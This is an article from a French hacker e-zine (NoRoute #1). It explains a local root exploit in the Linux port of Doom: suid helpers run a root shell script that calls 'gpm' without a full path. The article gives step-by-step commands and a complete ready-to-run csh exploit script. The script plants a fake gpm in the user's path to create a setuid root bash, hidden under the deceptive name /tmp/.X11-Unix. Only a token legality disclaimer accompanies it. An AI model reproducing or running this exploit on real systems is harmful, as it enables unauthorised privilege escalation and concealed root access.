-------------------------------------------------------------------------------
NoRoute #1  Doom est un jeu formidable..      4758    s0RC3Ry    NoRoute #1
-------------------------------------------------------------------------------

				 DooMRewT
                               ou pourquoi
                        DOOM EST UN JEU FORMIDABLE

Schblam! les monstres s'explosent sur le mur dans une giclee de sang.... =)
Doom est un jeu terrible. Il est terrible car il est tres repandu sur le net
pour un jeu tel que celui la : je l'ai trouve sur des IRIX (sgi) des SunOS
(sun huh) des Linux bien sur... Ce jeu est d'autant plus formidable qu'il est
livre avec linux par defaut et souvent installe par les admins =)
L'autre formidabilite de ce jeu est qu'il a ete porte sous linux par des burnes
totales en matiere de securite... Voili l'explication d'un exploit que j'ai 
decouvert recemment alors que j'executais des fichiers au pif sur ma box (vi,
vous savez quand on s'emmerde on balaie le clavier de cd, ls, et on execute 
ce qui nous passe sous les yeux c'est un tic assez universel chez les unixiens).

Explications [ Mais qu'est-ce qu'il raconte ? ]

Doom utilise svgalib. Donc doom ne supporte pas gpm. Or gpm est installe par
defaut sur toutes les stations linux utilisant la slackware. Donc doom doit
killer gpm avant de se lancer et le remettre apres. Or gpm est un programme
appartenant au root, donc doom doit etre suid pour killer gpm. Jusqu'ici tout
allait bien, sauf que chez ID software, ils se sont dit "on va pas se souler
a rajouter des lignes de code, on va faire deux programmes a part". Premiere
petite erreur. Encore pire, ils avaient fume je pense, ces pauvres bougres se
sont amuses a executer un script depuis un executable suid, mais alors un 
script digne de microsoft! Un code de merde, qui bien entendu a engage de ma 
part une contraction abdominale terrible suivie de hoquets bruyants devant 
mon ecran... 
Principe exact:

Deux programmes: killmouse et startmouse.
Ces deux programmes sont suid.
Ils executent respectivement "as root" killmouse.sh et startmouse.sh, deux 
scripts shell...
Lorsque killmouse.sh kill la mouse il installe dans /tmp un fichier nomme
gpmkilled et qui permettra a startmouse de savoir que la mouse a bien ete
killee =) Quel bordel huh =).

Voici le source de startmouse.sh:

if [ -r /tmp/gpmkilled ]; then
  /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
  /bin/sh /tmp/gpmscript
  /bin/rm /tmp/gpmscript /tmp/gpmkilled
fi

explication: si le fichier /tmp/gpmkilled existe, alors on cherche la string
qui execute gpm dans rc.local pour etre sur de pas se planter et on la copie
dans un fichier /tmp/gpmscript. On execute ensuite ce fichier puis on retire
les deux fichiers temporaires.
Mais voila l'erreur... =)
Ce programme, execute en tant que root, contient la chaine suivante:

gpm -t ms &

Ehehe, aucun chemin n'est specifie pour gpm. Or, dans ce cas, le systeme  
cherche au fil du $path le programme en question. Donc pour chopper un root,
il suffit d'executer les commandes suivantes:

becanne:~> touch /tmp/gpmkilled
becanne:~> cp /bin/bash /tmp/suid_shell
becanne:~> cat << END >> ~/gpm
/bin/chown root.root /tmp/suid_shell
/bin/chmod 04755 /tmp/suid_shell
END
becanne:~> chmod 755 ~/gpm
becanne:~> set path = ~/
becanne:~> /usr/games/doom/startmouse
gpm: already a gpm running, no process killed
becanne:~> /tmp/suid_shell
bash#
En settant le path vers notre home et en creeant un ~/gpm, il sera execute
comme root et vous pouvez donc y mettre ce que vous voulez.. Heureux ? =)
voici donc le script qui va avec (qui fait ca tout seul huh) pour les 
faignants =)... Ps avant de partir (vi deja 3 articles ca fait beaucoup =)
N'abusez pas de ce truk c'est illegal et c'est juste pour rire que je vous
l'ai montre d'accord ?
Si vous desirez en abuser chez moi demandez moi la permission a

beigebox@mygale.org  ........................Sorcery is powered by Linux.


 
#!/bin/csh
# Doom exploit by Sorcery / mj13
# Use it only on your system!
# doomroot.sh (mode 755 =)             
#
# File to remove if it fails: ~/gpm,/tmp/gpmkilled,/tmp/gpmscript,/tmp/.X11-Unix
# Guy to great if it worx: beigebox@mygale.org (yeah, that's me ! :) )
#
# FIX: rm -rf /usr/games/doom =) 
#

cp /bin/bash /tmp/.X11-Unix
touch /tmp/gpmkilled
cat << EOF >> ~/gpm
/bin/chown root.root /tmp/.X11-Unix
/bin/chmod 4755 /tmp/.X11-Unix
/bin/rm ~/gpm
EOF
chmod 755 ~/gpm
set oldpath = ( $path )
set path = ~/
/usr/games/doom/startmouse >& /dev/null
echo "\n         This should happen now! =)"
echo "/tmp/.X11-Unix is perhaps your paradise, guy!"
echo "       Found and Exploited by Sorcery\n"
/usr/bin/sleep 2 # let's wait for gpm to finish his work...            
set path = ( $oldpath )
/tmp/.X11-Unix

# End of doom exploit

-Sorcery pour NoRoute #1-
